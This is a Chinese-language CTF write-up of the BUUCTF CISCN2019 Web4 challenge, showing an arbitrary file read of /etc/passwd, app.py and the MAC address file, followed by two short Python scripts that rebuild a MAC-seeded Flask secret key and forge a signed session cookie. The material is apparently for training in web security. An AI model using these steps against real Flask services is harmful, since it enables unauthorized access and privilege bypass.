zoukankan      html  css  js  c++  java
  • BUUCTF[CISCN2019 华东南赛区]Web4 wp

    知识点:任意文件读取,代码审计,flask session伪造

    进入页面

    点击Read somethings后发现url参数,尝试ssrf无果后怀疑存在任意文件读取

     

    尝试读取/etc/passwd,读取成功,并发现可疑文件/app

     

    读取app.py,发现源码

     

     

    审计源码后发现需要进行flask session伪造,当session[username]为fuck的时候即可获得flag。

     

    往上审计,发现secret key是由mac地址做为随机数的种子生成的,所以可以进行伪造

     

    读取/sys/class/net/eth0/address获得mac地址后编写脚本进行伪造session

    伪造密钥脚本

    import random
    m="02:42:ae:00:de:bc"
    mac=m.replace(":", "")
    random.seed(int(mac,16))
    key = str(random.random() * 233)
    print(key)

     

    伪造session脚本

    from flask import Flask
    from flask.sessions import SecureCookieSessionInterface
    
    app = Flask(__name__)
    app.config['SECRET_KEY'] = str(72.8923578256)
    payload = {u'username': 'fuck'}
    serializer = SecureCookieSessionInterface().get_signing_serializer(app)
    session = serializer.dumps(payload)
    print(session)

    运行脚本得到session后使用burp传输,获得flag

     

     

  • 相关阅读:
    Spinal Tap Case
    Sorted Union
    Search and Replace
    Boo who
    Missing letters
    DNA Pairing
    Pig Latin
    Where art thou
    Roman Numeral Converter
    Redis高级客户端Lettuce详解
  • 原文地址:https://www.cnblogs.com/Yhck/p/13625271.html
Copyright © 2011-2022 走看看